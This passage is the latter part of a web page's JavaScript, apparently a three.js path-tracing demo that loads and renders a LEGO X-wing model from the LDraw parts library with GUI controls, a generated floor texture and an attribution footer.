progressBarDiv.style.textAlign = 'center'; // load materials and then the model createGUI(); loadModel(); } async function loadModel() { progressBarDiv.innerText = 'Loading...'; let model = null; let envMap = null; updateProgressBar( 0 ); showProgressBar(); // only smooth when not rendering with flat colors to improve processing time const ldrawPromise = new LDrawLoader() .setPath( 'models/ldraw/officialLibrary/' ) .loadAsync( 'models/7140-1-X-wingFighter.mpd_Packed.mpd', onProgress ) .then( function ( legoGroup ) { legoGroup = LDrawUtils.mergeObject( legoGroup ); legoGroup.rotation.x = Math.PI; // adjust the materials to use transmission, be a bit shinier legoGroup.traverse( c => { if ( c.material ) { c.material.roughness *= 0.25; if ( c.material.opacity < 1.0 ) { const oldMaterial = c.material; const newMaterial = new THREE.MeshPhysicalMaterial(); newMaterial.opacity = 1.0; newMaterial.transmission = 1.0; newMaterial.ior = 1.4; newMaterial.roughness = oldMaterial.roughness; newMaterial.metalness = 0.0; const hsl = {}; oldMaterial.color.getHSL( hsl ); hsl.l = Math.max( hsl.l, 0.35 ); newMaterial.color.setHSL( hsl.h, hsl.s, hsl.l ); c.material = newMaterial; } } } ); model = new THREE.Group(); model.add( legoGroup ); // Convert from LDraw coordinates: rotate 180 degrees around OX model.updateMatrixWorld(); } ) .catch( onError ); const envMapPromise = new RGBELoader() .setPath( 'textures/equirectangular/' ) .loadAsync( 'royal_esplanade_1k.hdr' ) .then( tex => { const envMapGenerator = new BlurredEnvMapGenerator( renderer ); const blurredEnvMap = envMapGenerator.generate( tex, 0 ); scene.environment = blurredEnvMap; envMap = blurredEnvMap; } ); await Promise.all( [ envMapPromise, ldrawPromise ] ); hideProgressBar(); document.body.classList.add( 'checkerboard' ); // Adjust camera const bbox = new THREE.Box3().setFromObject( model ); const size = bbox.getSize( new THREE.Vector3() ); const radius = Math.max( size.x, Math.max( size.y, size.z ) ) * 0.4; controls.target0.copy( bbox.getCenter( new THREE.Vector3() ) ); controls.position0.set( 2.3, 1, 2 ).multiplyScalar( radius ).add( controls.target0 ); controls.reset(); // add floor floor = new THREE.Mesh( new THREE.PlaneGeometry(), new THREE.MeshStandardMaterial( { side: THREE.DoubleSide, roughness: 0.01, metalness: 1, map: generateRadialFloorTexture( 1024 ), transparent: true, } ), ); floor.scale.setScalar( 2500 ); floor.rotation.x = - Math.PI / 2; floor.position.y = bbox.min.y; model.add( floor ); model.updateMatrixWorld(); // de-duplicate and reduce the number of materials used in place const reducer = new MaterialReducer(); reducer.process( model ); // reset the progress bar to display bvh generation progressBarDiv.innerText = 'Generating BVH...'; updateProgressBar( 0 ); const generator = new PathTracingSceneGenerator(); const result = generator.generate( model ); // add the model to the scene sceneInfo = result; sceneInfo.scene.traverse( c => { if ( c.isLineSegments ) { c.visible = false; } } ); scene.add( sceneInfo.scene ); // update the material const { bvh, textures, materials } = result; const geometry = bvh.geometry; const material = pathTracer.material; material.bvh.updateFrom( bvh ); material.attributesArray.updateFrom( geometry.attributes.normal, geometry.attributes.tangent, geometry.attributes.uv, geometry.attributes.color, ); material.materialIndexAttribute.updateFrom( geometry.attributes.materialIndex ); material.textures.setTextures( renderer, 2048, 2048, textures ); material.materials.updateFrom( materials, textures ); pathTracer.material.envMapInfo.updateFrom( envMap ); pathTracer.reset(); } function onWindowResize() { const w = window.innerWidth; const h = window.innerHeight; const scale = params.resolutionScale; const dpr = window.devicePixelRatio; pathTracer.setSize( w * scale * dpr, h * scale * dpr ); pathTracer.reset(); renderer.setSize( w, h ); renderer.setPixelRatio( window.devicePixelRatio * scale ); const aspect = w / h; camera.aspect = aspect; camera.updateProjectionMatrix(); } function createGUI() { if ( gui ) { gui.destroy(); } gui = new GUI(); gui.add( params, 'enable' ); gui.add( params, 'pause' ); gui.add( params, 'toneMapping' ); gui.add( params, 'transparentBackground' ).onChange( v => { pathTracer.material.backgroundAlpha = v ? 0 : 1; renderer.setClearAlpha( v ? 0 : 1 ); pathTracer.reset(); } ); gui.add( params, 'resolutionScale', 0.1, 1.0, 0.1 ).onChange( onWindowResize ); gui.add( params, 'tiles', 1, 3, 1 ).onChange( v => { pathTracer.tiles.set( v, v ); } ); gui.add( params, 'roughness', 0, 1 ).name( 'floor roughness' ).onChange( () => { pathTracer.reset(); } ); gui.add( params, 'metalness', 0, 1 ).name( 'floor metalness' ).onChange( () => { pathTracer.reset(); } ); gui.add( params, 'download' ).name( 'download image' ); const renderFolder = gui.addFolder( 'Render' ); samplesEl = document.createElement( 'div' ); samplesEl.classList.add( 'gui-render' ); samplesEl.innerText = 'samples: 0'; renderFolder.$children.appendChild( samplesEl ); renderFolder.open(); } // function render() { requestAnimationFrame( render ); if ( ! sceneInfo ) { return; } renderer.toneMapping = params.toneMapping ? THREE.ACESFilmicToneMapping : THREE.NoToneMapping; if ( pathTracer.samples < 1.0 || ! params.enable ) { renderer.render( scene, camera ); } if ( params.enable && delaySamples === 0 ) { const samples = Math.floor( pathTracer.samples ); samplesEl.innerText = `samples: ${ samples }`; floor.material.roughness = params.roughness; floor.material.metalness = params.metalness; pathTracer.material.materials.updateFrom( sceneInfo.materials, sceneInfo.textures ); pathTracer.material.filterGlossyFactor = 1; pathTracer.material.physicalCamera.updateFrom( camera ); camera.updateMatrixWorld(); if ( ! params.pause || pathTracer.samples < 1 ) { pathTracer.update(); } renderer.autoClear = false; fsQuad.render( renderer ); renderer.autoClear = true; } else if ( delaySamples > 0 ) { delaySamples --; } samplesEl.innerText = `samples: ${ Math.floor( pathTracer.samples ) }`; } function onProgress( xhr ) { if ( xhr.lengthComputable ) { updateProgressBar( xhr.loaded / xhr.total ); console.log( Math.round( xhr.loaded / xhr.total * 100, 2 ) + '% downloaded' ); } } function onError( error ) { const message = 'Error loading model'; progressBarDiv.innerText = message; console.log( message ); console.error( error ); } function showProgressBar() { document.body.appendChild( progressBarDiv ); } function hideProgressBar() { document.body.removeChild( progressBarDiv ); } function updateProgressBar( fraction ) { progressBarDiv.innerText = 'Loading... ' + Math.round( fraction * 100, 2 ) + '%'; } function generateRadialFloorTexture( dim ) { const data = new Uint8Array( dim * dim * 4 ); for ( let x = 0; x < dim; x ++ ) { for ( let y = 0; y < dim; y ++ ) { const xNorm = x / ( dim - 1 ); const yNorm = y / ( dim - 1 ); const xCent = 2.0 * ( xNorm - 0.5 ); const yCent = 2.0 * ( yNorm - 0.5 ); let a = Math.max( Math.min( 1.0 - Math.sqrt( xCent ** 2 + yCent ** 2 ), 1.0 ), 0.0 ); a = a ** 1.5; a = a * 1.5; a = Math.min( a, 1.0 ); const i = y * dim + x; data[ i * 4 + 0 ] = 255; data[ i * 4 + 1 ] = 255; data[ i * 4 + 2 ] = 255; data[ i * 4 + 3 ] = a * 255; } } const tex = new THREE.DataTexture( data, dim, dim ); tex.format = THREE.RGBAFormat; tex.type = THREE.UnsignedByteType; tex.minFilter = THREE.LinearFilter; tex.magFilter = THREE.LinearFilter; tex.wrapS = THREE.RepeatWrapping; tex.wrapT = THREE.RepeatWrapping; tex.needsUpdate = true; return tex; } </script> <!-- LDraw.org CC BY 2.0 Parts Library attribution --> <div style="display: block; position: absolute; bottom: 8px; left: 8px; width: 160px; padding: 10px; background-color: #F3F7F8;"> <center> <a href="http://www.ldraw.org"><img style="width: 145px" src="models/ldraw/ldraw_org_logo/Stamp145.png"></a> <br /> <a href="http://www.ldraw.org/">This software uses the LDraw Parts Library</a> </center> </div> </body> </html>
Close